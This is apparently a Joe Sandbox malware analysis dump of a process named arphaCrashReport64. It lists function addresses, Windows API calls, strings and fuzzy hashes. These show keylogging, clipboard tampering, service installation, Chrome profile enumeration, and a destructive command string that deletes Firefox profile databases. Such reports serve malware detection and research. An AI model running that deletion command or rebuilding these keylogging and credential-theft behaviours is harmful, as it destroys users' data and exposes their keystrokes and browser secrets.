Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: daeb9473d2b32cf83c9461a5b039516655241b847a81d08c9e22b3451582354c
Instruction ID: db08e669dff848faea6f20b294adf515cdd0606ad548086b4ecc98ee8d039a40
Opcode Fuzzy Hash: daeb9473d2b32cf83c9461a5b039516655241b847a81d08c9e22b3451582354c
Instruction Fuzzy Hash: FD11463394D64BABF210AB98B460479F6A4BB54740F860534E65D476A2EF3CF810EB20

Function 00007FF73D1D8EEC Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF73D1D75C1,?,?,000098C64D4F2B40,00007FF73D1D2559,?,?,?,?,00007FF73D1D77A2,?,?,00000000), ref: 00007FF73D1D8F41

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 075ea7e4c2bf351c61879a8d56ac98c767fd99fc79aa1e4fcee4003ad8d91f2d
Instruction ID: 59712b718a6043084c7c52578fe308ac8d75b00895c975b825a44711c8e94aa2
Opcode Fuzzy Hash: 075ea7e4c2bf351c61879a8d56ac98c767fd99fc79aa1e4fcee4003ad8d91f2d
Instruction Fuzzy Hash: 08F03C52B0D20F63FE6476E978202B592961F88B50F8A0431C90D862A5FF7CA981A130

Function 00007FFE11392CD0 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFE113951F0: _errno.LIBCMT ref: 00007FFE11395213

Sleep.KERNEL32(?,?,?,00007FFE113929F3,?,?,?,00007FFE1139253D,?,?,?,?,00007FFE11391ECD), ref: 00007FFE11392D15

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: Sleep_errno
String ID:
API String ID: 1068366078-0
Opcode ID: dfe64978b2f56b0793aca80552e9b258e9d4d57e910bdb29ae3b2a8446373223
Instruction ID: 1e91b175a0d118bb3770a95a63f4c95fadcd3e3feb82efd5d3d3e8549ab59ebe
Opcode Fuzzy Hash: dfe64978b2f56b0793aca80552e9b258e9d4d57e910bdb29ae3b2a8446373223
Instruction Fuzzy Hash: 28016222A24F8985EB549F179850429B6A9FB88FE0B5A0171DE5E03BA9CF3CE851C744

Non-executed Functions

Function 000002177938F8D0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 132servicefilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00000217793938A4: GetSystemTimeAsFileTime.KERNEL32 ref: 00000217793938B2

Part of subcall function 0000021779394238: _getptd.LIBCMT ref: 0000021779394240

rand.LIBCMT ref: 000002177938F930

Part of subcall function 0000021779394250: _getptd.LIBCMT ref: 0000021779394254

OpenSCManagerA.ADVAPI32 ref: 000002177938F972
CreateFileA.KERNEL32 ref: 000002177938F9B6
CloseHandle.KERNEL32 ref: 000002177938F9D1
CloseServiceHandle.ADVAPI32 ref: 000002177938F9DA
CreateServiceA.ADVAPI32 ref: 000002177938FA3A
WriteFile.KERNEL32 ref: 000002177938FA62
DeleteService.ADVAPI32 ref: 000002177938FA6F
CloseServiceHandle.ADVAPI32 ref: 000002177938FA78

Part of subcall function 00000217793922C0: GetComputerNameA.KERNEL32 ref: 000002177939230D
Part of subcall function 00000217793922C0: lstrcpy.KERNEL32 ref: 0000021779392323
Part of subcall function 00000217793922C0: wsprintfA.USER32 ref: 0000021779392352

CloseHandle.KERNEL32 ref: 000002177938FA81
CloseServiceHandle.ADVAPI32 ref: 000002177938FA8A
CloseHandle.KERNEL32 ref: 000002177938FA95
StartServiceA.ADVAPI32 ref: 000002177938FAA3
Sleep.KERNEL32 ref: 000002177938FAAE
DeleteService.ADVAPI32 ref: 000002177938FAC0
CloseServiceHandle.ADVAPI32 ref: 000002177938FAC9
CloseServiceHandle.ADVAPI32 ref: 000002177938FAD2
DeleteFileA.KERNEL32 ref: 000002177938FAE0

Strings

driver, xrefs: 000002177938FAE8
C:\ProgramData\girl.jpg, xrefs: 000002177938F8F1

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Service$CloseHandle$File$Delete$CreateTime_getptd$ComputerManagerNameOpenSleepStartSystemWritelstrcpyrandwsprintf
String ID: C:\ProgramData\girl.jpg$driver
API String ID: 2345241111-1437884672
Opcode ID: 9d3927efc2e86f327e81318a06defe3ff0f5a5e80a7fa5aa5fc8fe9fe512994d
Instruction ID: 4b2cc3bf16dbd860d0ee869bec3a5331af52a9472392fb96e965b81578d4de52
Opcode Fuzzy Hash: 9d3927efc2e86f327e81318a06defe3ff0f5a5e80a7fa5aa5fc8fe9fe512994d
Instruction Fuzzy Hash: 00515F3160EB4086E7149F21A81979AF3B1F7EDBA4F442125EA8A47BD5DF3CC4068B04

Function 00000217793984A8 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 200COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217793984D8
_invalid_parameter_noinfo.LIBCMT ref: 00000217793984E3
_errno.LIBCMT ref: 0000021779398508
_errno.LIBCMT ref: 0000021779398510
_errno.LIBCMT ref: 0000021779398534
_errno.LIBCMT ref: 000002177939866F

Strings

del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db, xrefs: 00000217793984B3
PATH, xrefs: 0000021779398558

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: PATH$del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db
API String ID: 2819658684-2861927837
Opcode ID: 5d7ebd22daaf74afd74c40796b9d976dd27c09a5fda1db1556a481787db0bd0b
Instruction ID: de03cb93274af0067f7b853cb386329c2cba969e3f57c536a3322e7f2935ca87
Opcode Fuzzy Hash: 5d7ebd22daaf74afd74c40796b9d976dd27c09a5fda1db1556a481787db0bd0b
Instruction Fuzzy Hash: C171A2B120F20441FA64AE25954D7FAE6B19BFD7FCF44A521EE69067C6DA3CC8438701

Function 000002177938DA90 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 125synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32 ref: 000002177938DACD
lstrcat.KERNEL32 ref: 000002177938DADD
CreateMutexA.KERNEL32 ref: 000002177938DAEE
WaitForSingleObject.KERNEL32 ref: 000002177938DB06
CreateFileA.KERNEL32 ref: 000002177938DB34
GetFileSize.KERNEL32 ref: 000002177938DB42
CloseHandle.KERNEL32 ref: 000002177938DB4D
DeleteFileA.KERNEL32 ref: 000002177938DB5E
ReleaseMutex.KERNEL32 ref: 000002177938DB70
GetTickCount.KERNEL32 ref: 000002177938DC49
GetKeyState.USER32 ref: 000002177938DC5A

Strings

paEqfEiINh.jre, xrefs: 000002177938DAE3
<, xrefs: 000002177938DC14
\paEqfEiINh.jre, xrefs: 000002177938DAD3

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: File$CreateMutex$CloseCountDeleteFolderHandleObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\paEqfEiINh.jre$paEqfEiINh.jre
API String ID: 2154846255-3527366935
Opcode ID: c90ec30e0ae730cd492638757934f02a9159206527e090b7be205eb521341652
Instruction ID: 62eb8ecf7780bc774cd59db57b3923d73853389cada84aeea7d419250fa15922
Opcode Fuzzy Hash: c90ec30e0ae730cd492638757934f02a9159206527e090b7be205eb521341652
Instruction Fuzzy Hash: FF516A7530AA4192FB109F26E85C79AB7B4F7ECBA8F405115EA4A477A0DF39C44AC710

Function 00000217790A7E60 Relevance: 18.3, APIs: 12, Instructions: 290COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217790A7E90
_invalid_parameter_noinfo.LIBCMT ref: 00000217790A7E9B
_errno.LIBCMT ref: 00000217790A7EC0
_errno.LIBCMT ref: 00000217790A7EC8
_errno.LIBCMT ref: 00000217790A7EEC

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction ID: 4c259fe474561aa6c62c25e250f345fc52427124766676a1a523232772f0689e
Opcode Fuzzy Hash: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction Fuzzy Hash: F081763063DA0B4BF75AAF38445D7F9F2E2EBED320F5445699446C21D6DE248843C2E5

Function 000002177938DEB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 168stringkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 000002177938DD70: GetForegroundWindow.USER32 ref: 000002177938DD9F
Part of subcall function 000002177938DD70: GetWindowTextA.USER32 ref: 000002177938DDBC
Part of subcall function 000002177938DD70: lstrlen.KERNEL32 ref: 000002177938DDF5
Part of subcall function 000002177938DD70: GetLocalTime.KERNEL32 ref: 000002177938DE04
Part of subcall function 000002177938DD70: wsprintfA.USER32 ref: 000002177938DE54

GetKeyState.USER32 ref: 000002177938DFA5
lstrlen.KERNEL32 ref: 000002177938DFFE
lstrlen.KERNEL32 ref: 000002177938E01E
lstrlen.KERNEL32 ref: 000002177938E046
wsprintfA.USER32 ref: 000002177938E06C
wsprintfA.USER32 ref: 000002177938E08B
wsprintfA.USER32 ref: 000002177938E0BE
lstrlen.KERNEL32 ref: 000002177938E105

Part of subcall function 000002177938DCA0: WaitForSingleObject.KERNEL32 ref: 000002177938DCBC
Part of subcall function 000002177938DCA0: CreateFileA.KERNEL32 ref: 000002177938DCEE
Part of subcall function 000002177938DCA0: SetFilePointer.KERNEL32 ref: 000002177938DD13
Part of subcall function 000002177938DCA0: lstrlen.KERNEL32 ref: 000002177938DD1C
Part of subcall function 000002177938DCA0: WriteFile.KERNEL32 ref: 000002177938DD39
Part of subcall function 000002177938DCA0: CloseHandle.KERNEL32 ref: 000002177938DD42
Part of subcall function 000002177938DCA0: ReleaseMutex.KERNEL32 ref: 000002177938DD54

Strings

%s%s, xrefs: 000002177938E05F
[esc], xrefs: 000002177938DF06

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: lstrlen$wsprintf$File$Window$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleStateTextTimeWaitWrite
String ID: %s%s$[esc]
API String ID: 3231454590-1031636121
Opcode ID: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction ID: 421edd5c54a9fe631c1b92d40feeb6aa241fe566dba6d32d136a79df73ce1990
Opcode Fuzzy Hash: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction Fuzzy Hash: 3271B07021E64096E7209F22A94CBE9F3B0F7EC7A4F442625EA59872E4CB3CC547C710

Function 000002177939A244 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 000002177939A289
_set_error_mode.LIBCMT ref: 000002177939A29A
GetModuleFileNameW.KERNEL32 ref: 000002177939A2FC

Part of subcall function 0000021779395664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021779395706), ref: 000002177939567C

GetStdHandle.KERNEL32 ref: 000002177939A411
WriteFile.KERNEL32 ref: 000002177939A46E

Strings

Microsoft Visual C++ Runtime Library, xrefs: 000002177939A3B5
<program name unknown>, xrefs: 000002177939A30B
ceil, xrefs: 000002177939A254
Runtime Error!Program: , xrefs: 000002177939A2C9
..., xrefs: 000002177939A34E

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: File_set_error_mode$CurrentHandleModuleNameProcessWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $ceil
API String ID: 2183313154-2708072404
Opcode ID: e100cb5623a7cfc0df8941c6d10efe82813637f29d3b5093f7d715a41daa83ae
Instruction ID: 191171ff78adb60792387734b58fbde4198fdcd7b380bed359c2ee8fa5154211
Opcode Fuzzy Hash: e100cb5623a7cfc0df8941c6d10efe82813637f29d3b5093f7d715a41daa83ae
Instruction Fuzzy Hash: B851B63130E64041FA649F25A45D7EAA2B1E7ED7B8F446211AEAA82BC5DF3CC507C640

Function 0000021779384210 Relevance: 16.6, APIs: 11, Instructions: 84clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0000021779384248
IsClipboardFormatAvailable.USER32 ref: 000002177938425B
GetClipboardData.USER32 ref: 000002177938426E
GlobalLock.KERNEL32 ref: 000002177938427A
GlobalAlloc.KERNEL32 ref: 00000217793842DB
EmptyClipboard.USER32 ref: 00000217793842E9
GlobalLock.KERNEL32 ref: 00000217793842F6
SetClipboardData.USER32 ref: 000002177938432D
GlobalUnWire.KERNEL32 ref: 0000021779384336
GlobalUnWire.KERNEL32 ref: 000002177938433F
CloseClipboard.USER32 ref: 0000021779384358

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Clipboard$Global$DataLockWire$AllocAvailableCloseEmptyFormatOpen
String ID:
API String ID: 343666531-0
Opcode ID: 032f6467b590239ace3f774c0966278b6b0e2304ab3d8f33c428c8e3e218ee37
Instruction ID: a3b118498865a1f2fa5251f2addc5f6f897cb68b73a13484017690e94fa04c63
Opcode Fuzzy Hash: 032f6467b590239ace3f774c0966278b6b0e2304ab3d8f33c428c8e3e218ee37
Instruction Fuzzy Hash: F631533120AA4081FA149F11E45C39AE770EBDDBB4F482225E96E47BE5DF7CC4568710

Function 0000021779398808 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002177939883C
_errno.LIBCMT ref: 00000217793989D4
_errno.LIBCMT ref: 0000021779398A20
wcomexecmd.LIBCMT ref: 0000021779398A3D
free.LIBCMT ref: 0000021779398A48
_invalid_parameter_noinfo.LIBCMT ref: 0000021779398847

Part of subcall function 0000021779395664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021779395706), ref: 000002177939567C

wcomexecmd.LIBCMT ref: 000002177939897F
free.LIBCMT ref: 0000021779398A59

Strings

cmd.exe, xrefs: 0000021779398817

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$freewcomexecmd$CurrentProcess_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 1058736139-723907552
Opcode ID: 0cdefe5e1fc84725cae98ed6f6235c9afdb13a2999a14a73fd17fef3e619f0f1
Instruction ID: d11bec3393007085d15fe8afa3b753b6e790bf264d4229dee139726b6e13bfa3
Opcode Fuzzy Hash: 0cdefe5e1fc84725cae98ed6f6235c9afdb13a2999a14a73fd17fef3e619f0f1
Instruction Fuzzy Hash: 6361C7B130F24045FA24AE36645D7FAE2A157EDBFCF446525AE5947BC6DA38C4038201

Function 0000021779393FA4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 0000021779398BB4: _lock.LIBCMT ref: 0000021779398BDB
Part of subcall function 0000021779398BB4: _errno.LIBCMT ref: 0000021779398BEF
Part of subcall function 0000021779398BB4: _invalid_parameter_noinfo.LIBCMT ref: 0000021779398BFB

_errno.LIBCMT ref: 000002177939402B
_errno.LIBCMT ref: 0000021779394032
_errno.LIBCMT ref: 0000021779394052

Part of subcall function 0000021779395664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021779395706), ref: 000002177939567C

_errno.LIBCMT ref: 000002177939405B
_errno.LIBCMT ref: 0000021779394065
_errno.LIBCMT ref: 000002177939406F
free.LIBCMT ref: 0000021779394095

Strings

COMSPEC, xrefs: 0000021779393FB9
cmd.exe, xrefs: 0000021779394076

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CurrentProcess_invalid_parameter_noinfo_lockfree
String ID: COMSPEC$cmd.exe
API String ID: 3119157571-2256226045
Opcode ID: f09715194f689949f1efb6568b2bcf0a67113f9d87ab5ee388a1aab6d97633db
Instruction ID: 6821ec0308e5ef696cd2d0f11c85e77205ca0a7304b4513ba5ff268641359646
Opcode Fuzzy Hash: f09715194f689949f1efb6568b2bcf0a67113f9d87ab5ee388a1aab6d97633db
Instruction Fuzzy Hash: 8131817260A71089FB149FB594493FDF6B4EBEC3B8F446121EA4947AC6CE38C4568350

Function 00000217790A32BC Relevance: 15.4, APIs: 10, Instructions: 379COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217790A32DE
_invalid_parameter_noinfo.LIBCMT ref: 00000217790A32EA
_errno.LIBCMT ref: 00000217790A3314
__tzset.LIBCMT ref: 00000217790A3331
_get_daylight.LIBCMT ref: 00000217790A333A
_get_daylight.LIBCMT ref: 00000217790A334B
_get_daylight.LIBCMT ref: 00000217790A335C
_isindst.LIBCMT ref: 00000217790A33A0
_isindst.LIBCMT ref: 00000217790A33F0
__getgmtimebuf.LIBCMT ref: 00000217790A35EA

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction ID: 4d98d0b25111dea210a3331aa495a6d5fd531c0e9ac900dee325cb491d6aa7ed
Opcode Fuzzy Hash: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction Fuzzy Hash: 76B19731625A0A4BEB5D9F38C85D3F5B6E1FBA8325F44817EE805CA6D6EE34C442C790

Function 00000217793974B8 Relevance: 15.3, APIs: 10, Instructions: 292timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 00000217793974E3

Part of subcall function 0000021779399B98: _amsg_exit.LIBCMT ref: 0000021779399BC2

_get_daylight.LIBCMT ref: 00000217793974F9

Part of subcall function 0000021779398254: _errno.LIBCMT ref: 000002177939825D
Part of subcall function 0000021779398254: _invalid_parameter_noinfo.LIBCMT ref: 0000021779398268

_get_daylight.LIBCMT ref: 000002177939750E

Part of subcall function 00000217793981F4: _errno.LIBCMT ref: 00000217793981FD
Part of subcall function 00000217793981F4: _invalid_parameter_noinfo.LIBCMT ref: 0000021779398208

_get_daylight.LIBCMT ref: 0000021779397523

Part of subcall function 0000021779398224: _errno.LIBCMT ref: 000002177939822D
Part of subcall function 0000021779398224: _invalid_parameter_noinfo.LIBCMT ref: 0000021779398238

___lc_codepage_func.LIBCMT ref: 0000021779397530

Part of subcall function 000002177939C9F0: _getptd.LIBCMT ref: 000002177939C9F4

Part of subcall function 0000021779398B10: __wtomb_environ.LIBCMT ref: 0000021779398B40

free.LIBCMT ref: 00000217793975A1

Part of subcall function 0000021779393D28: HeapFree.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D3E
Part of subcall function 0000021779393D28: _errno.LIBCMT ref: 0000021779393D48
Part of subcall function 0000021779393D28: GetLastError.KERNEL32(?,?,00000000,0000021779394940,?,?,?,0000021779393209,?,?,?,?,00000217793A3CCA), ref: 0000021779393D50

free.LIBCMT ref: 000002177939760A
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,0000021779397EDE,?,?,?,?,000002177939397E), ref: 000002177939761D
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,0000021779397EDE,?,?,?,?,000002177939397E), ref: 00000217793976D3
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,0000021779397EDE,?,?,?,?,000002177939397E), ref: 0000021779397726

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$ByteCharMultiWidefree$ErrorFreeHeapInformationLastTimeZone___lc_codepage_func__wtomb_environ_amsg_exit_getptd_lock
String ID:
API String ID: 2532449802-0
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: 50d34c6cf1d62a2ef96e07f45befb5487726ef6a56b09a7a89549799c0667eda
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: 1DC1D57220E68085FB609F2595597FAFBB5F7E8778F4461159A8A437E2DB38C813C700

Function 0000021779393904 Relevance: 15.3, APIs: 10, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021779393926
_invalid_parameter_noinfo.LIBCMT ref: 0000021779393932
_errno.LIBCMT ref: 000002177939395C
__tzset.LIBCMT ref: 0000021779393979
_get_daylight.LIBCMT ref: 0000021779393982
_get_daylight.LIBCMT ref: 0000021779393993
_get_daylight.LIBCMT ref: 00000217793939A4
_isindst.LIBCMT ref: 00000217793939E8
_isindst.LIBCMT ref: 0000021779393A38
__getgmtimebuf.LIBCMT ref: 0000021779393C32

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: be87a26379802a4a52173af5778f242a0df836d1e75f94d751b5ea2289455124
Instruction ID: 5c53f64baa47a215fd17d6d8abb8aff5cadccfdb778078b1c02d0e4ab5eae3e2
Opcode Fuzzy Hash: be87a26379802a4a52173af5778f242a0df836d1e75f94d751b5ea2289455124
Instruction Fuzzy Hash: 0A91CAF270674547EB589F65C8597F9A2B5D7A87BCF04A025EA0A8ABC5EB3CC4428700

Function 000002177938EF20 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 127fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 000002177938EFF0

Part of subcall function 000002177939FA68: std::exception::exception.LIBCMT ref: 000002177939FA7B
Part of subcall function 000002177939FA68: std::exception::exception.LIBCMT ref: 000002177939FAA9

Strings

invalid string position, xrefs: 000002177938EF9A
\AppData\Local\Google\Chrome\User Data\Default, xrefs: 000002177938EF23
*.*, xrefs: 000002177938EFC9

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: std::exception::exception$FileFindFirst
String ID: *.*$\AppData\Local\Google\Chrome\User Data\Default$invalid string position
API String ID: 3164152327-3505193513
Opcode ID: be75264c58c03208dd292bdc0067c706cde63964e549d0ae91b4dabfac3ba795
Instruction ID: 73ba0243dcd6023737fea0b7c53553ffc2cd02a6fbc48b4da6daf1266a1ebe9f
Opcode Fuzzy Hash: be75264c58c03208dd292bdc0067c706cde63964e549d0ae91b4dabfac3ba795
Instruction Fuzzy Hash: A2516F3221AA4184EA20DF24E84D7EDE370F7E97B8F502225EA5D47AE9DF38C546C750

Function 00000217793A2ADC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000021779393334: _getptd.LIBCMT ref: 0000021779393346

